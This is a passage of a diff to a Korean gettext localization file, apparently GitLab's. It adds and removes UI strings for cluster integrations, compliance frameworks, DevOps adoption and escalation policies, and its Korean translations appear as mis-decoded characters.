-msgid "ClusterIntegration|Crossplane enables declarative provisioning of managed services from your cloud of choice using %{codeStart}kubectl%{codeEnd} or %{linkStart}GitLab Integration%{linkEnd}. Crossplane runs inside your Kubernetes cluster and supports secure connectivity and secrets management between app containers and the cloud services they depend on."
-msgstr ""
-
msgid "ClusterIntegration|Deletes all GitLab resources attached to this cluster during removal"
msgstr ""
@@ -7066,9 +7036,6 @@ msgstr "알고 계셨나요?"
msgid "ClusterIntegration|Elastic Kubernetes Service"
msgstr ""
-msgid "ClusterIntegration|Elastic Stack"
-msgstr ""
-
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
@@ -7084,9 +7051,6 @@ msgstr "Kubernetes í´ëŸ¬ìŠ¤í„°ì— 대한 GitLabì˜ ì—°ê²°ì„ í™œì„±í™” ë˜ëŠ” ë
msgid "ClusterIntegration|Enable this setting if using role-based access control (RBAC)."
msgstr "ì—­í•  기반 액세스 제어 (RBAC)를 사용하는 경우, ì´ ì„¤ì •ì„ ì‚¬ìš©í•˜ì„¸ìš”."
-msgid "ClusterIntegration|Enabled stack"
-msgstr ""
-
msgid "ClusterIntegration|Enter new Service Token"
msgstr ""
@@ -7129,27 +7093,12 @@ msgstr "프로ì íŠ¸ 가져오기"
msgid "ClusterIntegration|Fetching zones"
msgstr "ì˜ì—­ 가져오기"
-msgid "ClusterIntegration|Fluentd"
-msgstr ""
-
-msgid "ClusterIntegration|Fluentd is an open source data collector, which lets you unify the data collection and consumption for a better use and understanding of data. It requires at least one of the following logs to be successfully installed."
-msgstr ""
-
msgid "ClusterIntegration|GitLab Agent managed clusters"
msgstr ""
-msgid "ClusterIntegration|GitLab Container Network Policies"
-msgstr ""
-
msgid "ClusterIntegration|GitLab Integration"
msgstr "GitLab 통합"
-msgid "ClusterIntegration|GitLab Runner"
-msgstr "ClusterIntegration|GitLab Runner"
-
-msgid "ClusterIntegration|GitLab Runner connects to the repository and executes CI/CD jobs, pushing results back and deploying applications to production."
-msgstr ""
-
msgid "ClusterIntegration|GitLab failed to authenticate."
msgstr ""
@@ -7177,9 +7126,6 @@ msgstr "그룹 í´ëŸ¬ìŠ¤í„°"
msgid "ClusterIntegration|HTTP Error"
msgstr ""
-msgid "ClusterIntegration|Helm release failed to install"
-msgstr ""
-
msgid "ClusterIntegration|If you are setting up multiple clusters and are using Auto DevOps, %{help_link_start}read this first%{help_link_end}."
msgstr ""
@@ -7189,18 +7135,6 @@ msgstr ""
msgid "ClusterIntegration|In order to view the health of your cluster, you must first enable Prometheus in the Integrations tab."
msgstr ""
-msgid "ClusterIntegration|Ingress"
-msgstr "Ingress"
-
-msgid "ClusterIntegration|Ingress Endpoint"
-msgstr ""
-
-msgid "ClusterIntegration|Ingress gives you a way to route requests to services based on the request host or path, centralizing a number of services into a single entrypoint."
-msgstr ""
-
-msgid "ClusterIntegration|Installing Ingress may incur additional costs. Learn more about %{linkStart}pricing%{linkEnd}."
-msgstr ""
-
msgid "ClusterIntegration|Instance cluster"
msgstr ""
@@ -7222,39 +7156,9 @@ msgstr ""
msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
-msgid "ClusterIntegration|Issuer Email"
-msgstr ""
-
-msgid "ClusterIntegration|Issuers represent a certificate authority. You must provide an email address for your Issuer."
-msgstr ""
-
-msgid "ClusterIntegration|Jupyter Hostname"
-msgstr "Jupyter 호스트 ì´ë¦„"
-
-msgid "ClusterIntegration|JupyterHub"
-msgstr "JupyterHub"
-
-msgid "ClusterIntegration|JupyterHub, a multi-user Hub, spawns, manages, and proxies multiple instances of the single-user Jupyter notebook server. JupyterHub can be used to serve notebooks to a class of students, a corporate data science group, or a scientific research group."
-msgstr "JupyterHub, 다중 ì‚¬ìš©ìž í—ˆë¸ŒëŠ” ë‹¨ì¼ ì‚¬ìš©ìž Jupyter ë…¸íŠ¸ë¶ ì„œë²„ì˜ ì—¬ëŸ¬ ì¸ìŠ¤í„´ìŠ¤ë¥¼ ìƒì„±, 관리 ë° í”„ë¡ì‹œ 합니다. JupyterHub는 í•™ìƒ í´ëž˜ìŠ¤, 기업 ë°ì´í„° 과학 그룹 ë˜ëŠ” 과학 연구 그룹ì—게 노트ë¶ì„ 제공하는 ë° ì‚¬ìš©í•  수 있습니다."
-
msgid "ClusterIntegration|Key pair name"
msgstr ""
-msgid "ClusterIntegration|Knative"
-msgstr "Knative"
-
-msgid "ClusterIntegration|Knative Domain Name:"
-msgstr "Knative ë„ë©”ì¸ ì´ë¦„:"
-
-msgid "ClusterIntegration|Knative Endpoint:"
-msgstr ""
-
-msgid "ClusterIntegration|Knative domain name was updated successfully."
-msgstr ""
-
-msgid "ClusterIntegration|Knative extends Kubernetes to provide a set of middleware components that are essential to build modern, source-centric, and container-based applications that can run anywhere: on premises, in the cloud, or even in a third-party data center."
-msgstr ""
-
msgid "ClusterIntegration|Kubernetes cluster is being created..."
msgstr ""
@@ -7288,9 +7192,6 @@ msgstr "그룹 Kubernetes í´ëŸ¬ìŠ¤í„°ì— 대해 ìžì„¸ížˆ 알아보기."
msgid "ClusterIntegration|Learn more about instance Kubernetes clusters"
msgstr ""
-msgid "ClusterIntegration|Legacy Helm Tiller server"
-msgstr ""
-
msgid "ClusterIntegration|Loading IAM Roles"
msgstr ""
@@ -7339,12 +7240,6 @@ msgstr ""
msgid "ClusterIntegration|No VPCs found"
msgstr ""
-msgid "ClusterIntegration|No deployment cluster found for this job"
-msgstr ""
-
-msgid "ClusterIntegration|No deployment found for this job"
-msgstr ""
-
msgid "ClusterIntegration|No instance type found"
msgstr ""
@@ -7387,9 +7282,6 @@ msgstr ""
msgid "ClusterIntegration|Please make sure that your Google account meets the following requirements:"
msgstr "ë‹¹ì‹ ì˜ Google ê³„ì •ì´ ë‹¤ìŒì˜ 요구 ì‚¬í•­ì„ ì¶©ì¡±í•˜ëŠ”ì§€ í™•ì¸ í•˜ì„¸ìš”."
-msgid "ClusterIntegration|Point a wildcard DNS to this generated endpoint in order to access your application after it has been deployed."
-msgstr ""
-
msgid "ClusterIntegration|Project cluster"
msgstr "프로ì íŠ¸ í´ëŸ¬ìŠ¤í„°"
@@ -7399,15 +7291,6 @@ msgstr "프로ì íŠ¸ 네임 스페ì´ìŠ¤ (optional, unique)"
msgid "ClusterIntegration|Project namespace prefix (optional, unique)"
msgstr ""
-msgid "ClusterIntegration|Prometheus"
-msgstr "Prometheus"
-
-msgid "ClusterIntegration|Prometheus is an open-source monitoring system with %{linkStart}GitLab Integration%{linkEnd} to monitor deployed applications."
-msgstr ""
-
-msgid "ClusterIntegration|Protect your clusters with GitLab Container Network Policies by enforcing how pods communicate with each other and other network endpoints. %{linkStart}Learn more about configuring Network Policies here.%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Provider details"
msgstr ""
@@ -7444,24 +7327,6 @@ msgstr "ì´ í”„ë¡œì íŠ¸ì—ì„œ Kubernetes í´ëŸ¬ìŠ¤í„° êµ¬ì„±ì„ ì œê±°í•˜ì‹­ì‹œ
msgid "ClusterIntegration|Removes cluster from project but keeps associated resources"
msgstr ""
-msgid "ClusterIntegration|Replace this with your own hostname if you want. If you do so, point hostname to Ingress IP Address from above."
-msgstr ""
-
-msgid "ClusterIntegration|Request to begin installing failed"
-msgstr "설치 시작 요청 실패"
-
-msgid "ClusterIntegration|Request to begin uninstalling failed"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Hostname"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Port"
-msgstr ""
-
-msgid "ClusterIntegration|SIEM Protocol"
-msgstr ""
-
msgid "ClusterIntegration|Save changes"
msgstr "변경 ì‚¬í•­ì„ ì €ìž¥"
@@ -7474,9 +7339,6 @@ msgstr ""
msgid "ClusterIntegration|Search VPCs"
msgstr ""
-msgid "ClusterIntegration|Search domains"
-msgstr ""
-
msgid "ClusterIntegration|Search instance types"
msgstr ""
@@ -7525,15 +7387,9 @@ msgstr ""
msgid "ClusterIntegration|Select a region to choose a VPC"
msgstr ""
-msgid "ClusterIntegration|Select a stack to install Crossplane."
-msgstr ""
-
msgid "ClusterIntegration|Select a zone to choose a network"
msgstr ""
-msgid "ClusterIntegration|Select existing domain or use new"
-msgstr ""
-
msgid "ClusterIntegration|Select machine type"
msgstr "시스템 유형 ì„ íƒ"
@@ -7558,9 +7414,6 @@ msgstr "ClusterIntegration|지역 ì„ íƒ"
msgid "ClusterIntegration|Select zone to choose machine type"
msgstr ""
-msgid "ClusterIntegration|Send Container Network Policies Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7579,27 +7432,12 @@ msgstr "문제가 ë°œìƒí–ˆìŠµë‹ˆë‹¤."
msgid "ClusterIntegration|Something went wrong while creating your Kubernetes cluster"
msgstr ""
-msgid "ClusterIntegration|Something went wrong while installing %{title}"
-msgstr "설치하는 ë™ì•ˆ 문제가 ë°œìƒí–ˆìŠµë‹ˆë‹¤. %{title}"
-
-msgid "ClusterIntegration|Something went wrong while trying to save your settings. Please try again."
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while uninstalling %{title}"
-msgstr ""
-
-msgid "ClusterIntegration|Something went wrong while updating Knative domain name."
-msgstr ""
-
msgid "ClusterIntegration|Specifying a domain will allow you to use Auto Review Apps and Auto Deploy stages for %{linkStart}Auto DevOps.%{linkEnd} The domain should have a wildcard DNS configured matching the domain. "
msgstr ""
msgid "ClusterIntegration|Subnets"
msgstr ""
-msgid "ClusterIntegration|The %{gitlabNamespace} namespace"
-msgstr ""
-
msgid "ClusterIntegration|The Amazon Resource Name (ARN) associated with your role. If you do not have a provision role, first create one on %{startAwsLink}Amazon Web Services %{externalLinkIcon}%{endLink} using the above account and external IDs. %{startMoreInfoLink}More information%{endLink}"
msgstr ""
@@ -7609,24 +7447,6 @@ msgstr ""
msgid "ClusterIntegration|The URL used to access the Kubernetes API."
msgstr ""
-msgid "ClusterIntegration|The associated IP and all deployed services will be deleted and cannot be restored. Uninstalling Knative will also remove Istio from your cluster. This will not effect any other applications."
-msgstr ""
-
-msgid "ClusterIntegration|The associated Tiller pod will be deleted and cannot be restored. Your other applications will remain unaffected."
-msgstr ""
-
-msgid "ClusterIntegration|The associated load balancer and IP will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The associated private key will be deleted and cannot be restored."
-msgstr ""
-
-msgid "ClusterIntegration|The elastic stack collects logs from all pods in your cluster"
-msgstr ""
-
-msgid "ClusterIntegration|The endpoint is in the process of being assigned. Please check your Kubernetes cluster or Quotas on Google Kubernetes Engine if it takes a long time."
-msgstr ""
-
msgid "ClusterIntegration|The namespace associated with your project. This will be used for deploy boards, logs, and Web terminals."
msgstr ""
@@ -7657,9 +7477,6 @@ msgstr ""
msgid "ClusterIntegration|This will permanently delete the following resources:"
msgstr ""
-msgid "ClusterIntegration|To access your application after deployment, point a wildcard DNS to the Knative Endpoint."
-msgstr ""
-
msgid "ClusterIntegration|To create a cluster, first create a project on %{docsLinkStart}Google Cloud Platform%{docsLinkEnd}."
msgstr ""
@@ -7681,21 +7498,9 @@ msgstr ""
msgid "ClusterIntegration|Unable to Connect"
msgstr ""
-msgid "ClusterIntegration|Uninstall %{appTitle}"
-msgstr ""
-
msgid "ClusterIntegration|Unknown Error"
msgstr ""
-msgid "ClusterIntegration|Update %{appTitle}"
-msgstr ""
-
-msgid "ClusterIntegration|Update failed. Please check the logs and try again."
-msgstr ""
-
-msgid "ClusterIntegration|Use %{query}"
-msgstr ""
-
msgid "ClusterIntegration|Uses the Cloud Run, Istio, and HTTP Load Balancing addons for this cluster."
msgstr ""
@@ -7720,27 +7525,12 @@ msgstr ""
msgid "ClusterIntegration|You are about to remove your cluster integration."
msgstr ""
-msgid "ClusterIntegration|You are about to uninstall %{appTitle} from your cluster."
-msgstr ""
-
-msgid "ClusterIntegration|You are about to update %{appTitle} on your cluster."
-msgstr ""
-
msgid "ClusterIntegration|You must grant access to your organization’s AWS resources in order to create a new EKS cluster. To grant access, create a provision role using the account and external ID below and provide us the ARN."
msgstr ""
-msgid "ClusterIntegration|You must have an RBAC-enabled cluster to install Knative."
-msgstr ""
-
-msgid "ClusterIntegration|You must specify a domain before you can install Knative."
-msgstr ""
-
msgid "ClusterIntegration|You should select at least two subnets"
msgstr ""
-msgid "ClusterIntegration|Your Elasticsearch cluster will be re-created during this upgrade. Your logs will be re-indexed, and you will lose historical logs from hosts terminated in the last 30 days."
-msgstr ""
-
msgid "ClusterIntegration|Your account must have %{link_to_kubernetes_engine}"
msgstr "ë‹¹ì‹ ì˜ ê³„ì •ì€ %{link_to_kubernetes_engine} ì´ ìžˆì–´ì•¼ 합니다."
@@ -7756,12 +7546,6 @@ msgstr "Zone"
msgid "ClusterIntegration|access to Google Kubernetes Engine"
msgstr "구글 Kubernetes 컨테ì´ë„ˆ ì—”ì§„ì— ì—‘ì„¸ìŠ¤"
-msgid "ClusterIntegration|can be used instead of a custom domain. "
-msgstr ""
-
-msgid "ClusterIntegration|installed via %{linkStart}Cloud Run%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|meets the requirements"
msgstr "요구 ì‚¬í•­ì„ ì¶©ì¡±"
@@ -7834,6 +7618,9 @@ msgstr "코드 ì†Œìœ ìž ìŠ¹ì¸ì´ 필요합니다."
msgid "Code owners"
msgstr "코드 소유ìž"
+msgid "Code review"
+msgstr ""
+
msgid "Code snippet copied. Insert it in the correct location in the YAML file."
msgstr ""
@@ -7849,9 +7636,15 @@ msgstr "코드 ì†Œìœ ìž | 패턴"
msgid "CodeQuality|Code quality"
msgstr ""
+msgid "CodeQuality|Code quality: %{severity} - %{description}"
+msgstr ""
+
msgid "CodeQuality|New code quality degradations in this file"
msgstr ""
+msgid "CodeQuality|New code quality degradations on this line"
+msgstr ""
+
msgid "CodeQuality|Some changes in this file degrade the code quality."
msgstr ""
@@ -8147,9 +7940,6 @@ msgstr ""
msgid "ComplianceFrameworks|Add framework"
msgstr ""
-msgid "ComplianceFrameworks|All"
-msgstr ""
-
msgid "ComplianceFrameworks|Combines with the CI configuration at runtime."
msgstr ""
@@ -8186,9 +7976,6 @@ msgstr ""
msgid "ComplianceFrameworks|Once a compliance framework is added it will appear here."
msgstr ""
-msgid "ComplianceFrameworks|Regulated"
-msgstr ""
-
msgid "ComplianceFrameworks|There are no compliance frameworks set up yet"
msgstr ""
@@ -8207,42 +7994,9 @@ msgstr ""
msgid "ComplianceFramework|Edit Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|GDPR"
-msgstr ""
-
-msgid "ComplianceFramework|GDPR - General Data Protection Regulation"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA"
-msgstr ""
-
-msgid "ComplianceFramework|HIPAA - Health Insurance Portability and Accountability Act"
-msgstr ""
-
msgid "ComplianceFramework|New Compliance Framework"
msgstr ""
-msgid "ComplianceFramework|PCI-DSS"
-msgstr ""
-
-msgid "ComplianceFramework|PCI-DSS - Payment Card Industry-Data Security Standard"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOC 2 - Service Organization Control 2"
-msgstr ""
-
-msgid "ComplianceFramework|SOX"
-msgstr ""
-
-msgid "ComplianceFramework|SOX - Sarbanes-Oxley"
-msgstr ""
-
-msgid "ComplianceFramework|This project is regulated by %{framework}."
-msgstr ""
-
msgid "Component"
msgstr ""
@@ -8261,6 +8015,9 @@ msgstr ""
msgid "Configuration help"
msgstr ""
+msgid "Configure %{link} to track events. %{link_start}Learn more.%{link_end}"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr "웹 í„°ë¯¸ë„ ì‚¬ìš©ì„ ì‹œìž‘í•˜ë„ë¡ GitLab 러너를 구성하십시오. %{helpStart}ìžì„¸ížˆ 알아보십시오.%{helpEnd}"
@@ -8509,6 +8266,9 @@ msgstr ""
msgid "ContainerRegistry|Cleanup pending"
msgstr ""
+msgid "ContainerRegistry|Cleanup policies are now available for this project. %{linkStart}Click here to get started.%{linkEnd}"
+msgstr ""
+
msgid "ContainerRegistry|Cleanup policy for tags is disabled"
msgstr ""
@@ -8861,7 +8621,7 @@ msgstr "기여해 주신 분들"
msgid "Control emails linked to your account"
msgstr ""
-msgid "Control the display of third party offers."
+msgid "Control whether to display third-party offers in GitLab."
msgstr ""
msgid "Cookie domain"
@@ -8900,6 +8660,9 @@ msgstr ""
msgid "Copy ID"
msgstr "ID 복사"
+msgid "Copy IP Address"
+msgstr ""
+
msgid "Copy KRB5 clone URL"
msgstr "KRB5 í´ë¡  URL 복사"
@@ -8966,6 +8729,9 @@ msgstr ""
msgid "Copy the code below to implement tracking in your application:"
msgstr ""
+msgid "Copy this registration token."
+msgstr ""
+
msgid "Copy this value"
msgstr ""
@@ -9206,9 +8972,6 @@ msgstr ""
msgid "Create blank project"
msgstr ""
-msgid "Create blank project/repository"
-msgstr ""
-
msgid "Create branch"
msgstr "브랜치 ìƒì„±"
@@ -9335,9 +9098,6 @@ msgstr "첫 페ì´ì§€ 만들기"
msgid "Create your group"
msgstr ""
-msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
-msgstr ""
-
msgid "Create/import your first project"
msgstr ""
@@ -9569,6 +9329,12 @@ msgstr ""
msgid "CredentialsInventory|SSH Keys"
msgstr ""
+msgid "Credit card validated at:"
+msgstr ""
+
+msgid "Credit card validated:"
+msgstr ""
+
msgid "Critical vulnerabilities present"
msgstr ""
@@ -9578,9 +9344,6 @@ msgstr "Cron 시간대"
msgid "Cron time zone"
msgstr ""
-msgid "Crossplane"
-msgstr ""
-
msgid "Crowd"
msgstr ""
@@ -9596,9 +9359,6 @@ msgstr "현재 프로잭트"
msgid "Current forks will keep their visibility level."
msgstr ""
-msgid "Current node"
-msgstr "현재 노드"
-
msgid "Current node must be the primary node or you will be locking yourself out"
msgstr ""
@@ -9674,6 +9434,9 @@ msgstr ""
msgid "Customizable by owners."
msgstr ""
+msgid "Customize CI/CD settings, including Auto DevOps, shared runners, and job artifacts."
+msgstr ""
+
msgid "Customize colors"
msgstr "ìƒ‰ìƒ ë§žì¶¤í™”"
@@ -9889,9 +9652,6 @@ msgstr ""
msgid "DAST Scans"
msgstr ""
-msgid "DAST Settings"
-msgstr ""
-
msgid "DNS"
msgstr "DNS"
@@ -9958,6 +9718,18 @@ msgstr ""
msgid "Dashboard|Unable to add %{invalidProjects}. This dashboard is available for public projects, and private projects in groups with a Premium plan."
msgstr ""
+msgid "DastConfig|Customize DAST settings to suit your requirements. Configuration changes made here override those provided by GitLab and are excluded from updates. For details of more advanced configuration options, see the %{docsLinkStart}GitLab DAST documentation%{docsLinkEnd}."
+msgstr ""
+
+msgid "DastConfig|DAST Settings"
+msgstr ""
+
+msgid "DastConfig|Generate code snippet"
+msgstr ""
+
+msgid "DastConfig|Scan Configuration"
+msgstr ""
+
msgid "DastProfiles|A passive scan monitors all HTTP messages (requests and responses) sent to the target. An active scan attacks the target to find potential vulnerabilities."
msgstr ""
@@ -10316,9 +10088,6 @@ msgstr "날짜 ì„ íƒ"
msgid "Date range"
msgstr ""
-msgid "Date range cannot exceed %{maxDateRange} days."
-msgstr ""
-
msgid "Date range must be shorter than %{max_range} days."
msgstr ""
@@ -10343,6 +10112,9 @@ msgstr ""
msgid "Days to merge"
msgstr ""
+msgid "Deactivate dormant users after 90 days of inactivity. Users can return to active status by signing in to their account. While inactive, a user is not counted as an active user in the instance."
+msgstr ""
+
msgid "Deactivate this user"
msgstr ""
@@ -10376,7 +10148,7 @@ msgstr ""
msgid "Default"
msgstr ""
-msgid "Default CI configuration path"
+msgid "Default CI/CD configuration file"
msgstr ""
msgid "Default Timeout Period"
@@ -10496,6 +10268,9 @@ msgstr "댓글 삭제"
msgid "Delete domain"
msgstr ""
+msgid "Delete file"
+msgstr ""
+
msgid "Delete image repository"
msgstr ""
@@ -11160,12 +10935,30 @@ msgstr ""
msgid "DevOps Report"
msgstr ""
+msgid "DevOps adoption"
+msgstr ""
+
+msgid "DevopsAdoption|%{adoptedCount}/%{featuresCount} %{title} features adopted"
+msgstr ""
+
msgid "DevopsAdoption|Add Group"
msgstr ""
msgid "DevopsAdoption|Add a group to get started"
msgstr ""
+msgid "DevopsAdoption|Add group"
+msgstr ""
+
+msgid "DevopsAdoption|Add group to table"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group"
+msgstr ""
+
+msgid "DevopsAdoption|Add sub-group to table"
+msgstr ""
+
msgid "DevopsAdoption|Add/remove groups"
msgstr ""
@@ -11223,7 +11016,7 @@ msgstr ""
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
-msgid "DevopsAdoption|Feature adoption is based on usage in the current calendar month. Last updated: %{timestamp}."
+msgid "DevopsAdoption|Feature adoption is based on usage in the previous calendar month. Last updated: %{timestamp}."
msgstr ""
msgid "DevopsAdoption|Filter by name"
@@ -11235,21 +11028,24 @@ msgstr ""
msgid "DevopsAdoption|MRs"
msgstr ""
-msgid "DevopsAdoption|Maximum %{maxSegments} groups allowed"
-msgstr ""
-
msgid "DevopsAdoption|My group"
msgstr ""
msgid "DevopsAdoption|No filter results."
msgstr ""
+msgid "DevopsAdoption|No results…"
+msgstr ""
+
msgid "DevopsAdoption|Not adopted"
msgstr ""
msgid "DevopsAdoption|Ops"
msgstr ""
+msgid "DevopsAdoption|Overall adoption"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11283,6 +11079,9 @@ msgstr ""
msgid "DevopsAdoption|There was an error fetching Groups. Please refresh the page."
msgstr ""
+msgid "DevopsAdoption|This group has no sub-groups"
+msgstr ""
+
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
@@ -11304,6 +11103,9 @@ msgstr ""
msgid "DevopsReport|Moderate"
msgstr ""
+msgid "DevopsReport|Overview"
+msgstr ""
+
msgid "DevopsReport|Score"
msgstr ""
@@ -11322,15 +11124,12 @@ msgstr ""
msgid "Didn't receive unlock instructions?"
msgstr ""
-msgid "Diff content limits"
-msgstr "diff 컨í…츠 제한"
+msgid "Diff files surpassing this limit will be presented as 'too large' and won't be expandable."
+msgstr ""
msgid "Diff limits"
msgstr "Diff 제한"
-msgid "Diff view settings"
-msgstr ""
-
msgid "Difference between start date and now"
msgstr ""
@@ -11515,7 +11314,7 @@ msgstr ""
msgid "Display source"
msgstr ""
-msgid "Do not display offers from third parties within GitLab"
+msgid "Do not display offers from third parties"
msgstr ""
msgid "Do you want to remove this deploy key?"
@@ -11566,7 +11365,7 @@ msgstr ""
msgid "Don't paste the private part of the GPG key. Paste the public part which begins with '-----BEGIN PGP PUBLIC KEY BLOCK-----'."
msgstr ""
-msgid "Don't send usage data"
+msgid "Don't send service data"
msgstr ""
msgid "Don't show again"
@@ -11575,6 +11374,9 @@ msgstr "다시 표시하지 ì•ŠìŒ"
msgid "Done"
msgstr "완료"
+msgid "Dormant users"
+msgstr ""
+
msgid "Download"
msgstr "다운로드"
@@ -11791,9 +11593,6 @@ msgstr "ì´ìŠˆ 편집"
msgid "Edit iteration"
msgstr ""
-msgid "Edit iteration cadence"
-msgstr ""
-
msgid "Edit public deploy key"
msgstr "공개 ë°°í¬ í‚¤ 편집"
@@ -11827,9 +11626,6 @@ msgstr ""
msgid "Editing"
msgstr ""
-msgid "Editor Lite instance is required to set up an extension."
-msgstr ""
-
msgid "Elapsed time"
msgstr ""
@@ -11890,6 +11686,9 @@ msgstr ""
msgid "Email display name"
msgstr ""
+msgid "Email from GitLab - email users right from the Admin Area. %{link_start}Learn more%{link_end}."
+msgstr ""
+
msgid "Email not verified. Please verify your email in Salesforce."
msgstr ""
@@ -12019,6 +11818,9 @@ msgstr ""
msgid "Enable Kroki"
msgstr ""
+msgid "Enable Mailgun event receiver"
+msgstr ""
+
msgid "Enable PlantUML"
msgstr ""
@@ -12028,13 +11830,16 @@ msgstr ""
msgid "Enable Pseudonymizer data collection"
msgstr "Pseudonymizer ë°ì´í„° 수집 사용"
+msgid "Enable Registration Features"
+msgstr ""
+
msgid "Enable Repository Checks"
msgstr ""
msgid "Enable SSL verification"
msgstr ""
-msgid "Enable Seat Link"
+msgid "Enable Snowplow tracking"
msgstr ""
msgid "Enable Spam Check via external API endpoint"
@@ -12115,14 +11920,11 @@ msgstr ""
msgid "Enable mirror configuration"
msgstr ""
-msgid "Enable or disable Seat Link."
-msgstr ""
-
msgid "Enable or disable the Pseudonymizer data collection."
msgstr "Pseudonymizer ë°ì´í„° ìˆ˜ì§‘ì„ ì‚¬ìš©í•˜ê±°ë‚˜ 중지합니다."
-msgid "Enable or disable version check and usage ping."
-msgstr "버전 í™•ì¸ ë° ì‚¬ìš© í•‘ì„ ì‚¬ìš©í•˜ê±°ë‚˜ 사용하지 ì•Šë„ë¡ ì„¤ì •í•©ë‹ˆë‹¤."
+msgid "Enable or disable version check and service ping."
+msgstr ""
msgid "Enable protected paths rate limit"
msgstr ""
@@ -12139,6 +11941,9 @@ msgstr ""
msgid "Enable reCAPTCHA, Invisible Captcha, Akismet and set IP limits. For reCAPTCHA, we currently only support %{recaptcha_v2_link_start}v2%{recaptcha_v2_link_end}"
msgstr ""
+msgid "Enable service ping"
+msgstr ""
+
msgid "Enable shared runners for all projects and subgroups in this group."
msgstr ""
@@ -12154,9 +11959,6 @@ msgstr ""
msgid "Enable smartcn custom analyzer: Search"
msgstr ""
-msgid "Enable snowplow tracking"
-msgstr ""
-
msgid "Enable two-factor authentication"
msgstr "2단계 ì¸ì¦ 활성화"
@@ -12166,9 +11968,6 @@ msgstr ""
msgid "Enable unauthenticated request rate limit"
msgstr ""
-msgid "Enable usage ping"
-msgstr "ping 사용 활성화"
-
msgid "Enable version check"
msgstr ""
@@ -12298,6 +12097,9 @@ msgstr ""
msgid "Enter your password to approve"
msgstr ""
+msgid "Enterprise"
+msgstr ""
+
msgid "Environment"
msgstr ""
@@ -12463,9 +12265,6 @@ msgstr "환경 ì •ì§€ì— ëŒ€í•´ ìžì„¸ížˆ 알아보기"
msgid "Environments|Logs from %{start} to %{end}."
msgstr ""
-msgid "Environments|Managed apps"
-msgstr ""
-
msgid "Environments|More information"
msgstr ""
@@ -12946,7 +12745,7 @@ msgstr ""
msgid "Escalation policies"
msgstr ""
-msgid "Escalation policies are not supported for this project"
+msgid "Escalation policies must have at least one rule"
msgstr ""
msgid "EscalationPolicies|+ Add an additional rule"
@@ -12955,30 +12754,54 @@ msgstr ""
msgid "EscalationPolicies|A schedule is required for adding an escalation policy."
msgstr ""
+msgid "EscalationPolicies|A schedule is required for adding an escalation policy. Please create an on-call schedule first."
+msgstr ""
+
msgid "EscalationPolicies|Add an escalation policy"
msgstr ""
msgid "EscalationPolicies|Add escalation policy"
msgstr ""
+msgid "EscalationPolicies|Add policy"
+msgstr ""
+
+msgid "EscalationPolicies|Are you sure you want to delete the \"%{escalationPolicy}\" escalation policy? This action cannot be undone."
+msgstr ""
+
msgid "EscalationPolicies|Create an escalation policy in GitLab"
msgstr ""
+msgid "EscalationPolicies|Delete escalation policy"
+msgstr ""
+
msgid "EscalationPolicies|Edit escalation policy"
msgstr ""
+msgid "EscalationPolicies|Elapsed time must be greater than or equal to zero."
+msgstr ""
+
msgid "EscalationPolicies|Email on-call user in schedule"
msgstr ""
+msgid "EscalationPolicies|Escalation policies"
+msgstr ""
+
msgid "EscalationPolicies|Escalation rules"
msgstr ""
msgid "EscalationPolicies|Failed to load oncall-schedules"
msgstr ""
+msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} %{then} THEN %{doAction} %{schedule}"
+msgstr ""
+
msgid "EscalationPolicies|IF alert is not %{alertStatus} in %{minutes} minutes"
msgstr ""
+msgid "EscalationPolicies|Remove escalation rule"
+msgstr ""
+
msgid "EscalationPolicies|Select schedule"
msgstr ""
@@ -12988,6 +12811,15 @@ msgstr ""
msgid "EscalationPolicies|THEN %{doAction} %{schedule}"
msgstr ""
+msgid "EscalationPolicies|The escalation policy could not be deleted. Please try again."
+msgstr ""
+
+msgid "EscalationPolicies|The escalation policy could not be updated. Please try again"
+msgstr ""
+
+msgid "EscalationPolicies|mins"
+msgstr ""
+
msgid "Estimate"
msgstr ""
@@ -13024,9 +12856,6 @@ msgstr ""
msgid "Events"
msgstr "ì´ë²¤íŠ¸"
-msgid "Events in %{project_path}"
-msgstr ""
-
msgid "Every %{action} attempt has failed: %{job_error_message}. Please try again."
msgstr "매번 %{action}ì´ ì‹¤íŒ¨í–ˆìŠµë‹ˆë‹¤: %{job_error_message}. 다시 ì‹œë„해주세요."
@@ -13169,7 +12998,7 @@ msgstr ""
msgid "Experienced"
msgstr ""
-msgid "ExperimentSubject|Must have exactly one of User, Group, or Project."
+msgid "ExperimentSubject|Must have exactly one of User, Namespace, or Project."
msgstr ""
msgid "Expiration"
@@ -13190,9 +13019,6 @@ msgstr ""
msgid "Expires"
msgstr ""
-msgid "Expires at"
-msgstr ""
-
msgid "Expires at (optional)"
msgstr ""
@@ -13289,9 +13115,6 @@ msgstr ""
msgid "External storage authentication token"
msgstr ""
-msgid "External url has already been taken"
-msgstr ""
-
msgid "ExternalAuthorizationService|Classification label"
msgstr ""
@@ -13310,9 +13133,6 @@ msgstr ""
msgid "ExternalWikiService|https://example.com/xxx/wiki/..."
msgstr ""
-msgid "Externally installed"
-msgstr ""
-
msgid "Facebook"
msgstr "Facebook"
@@ -13598,9 +13418,6 @@ msgstr ""
msgid "Feature Flags"
msgstr "기능 플래그"
-msgid "Feature flag is not enabled on the environment's project."
-msgstr ""
-
msgid "Feature flag status"
msgstr ""
@@ -13629,9 +13446,6 @@ msgstr ""
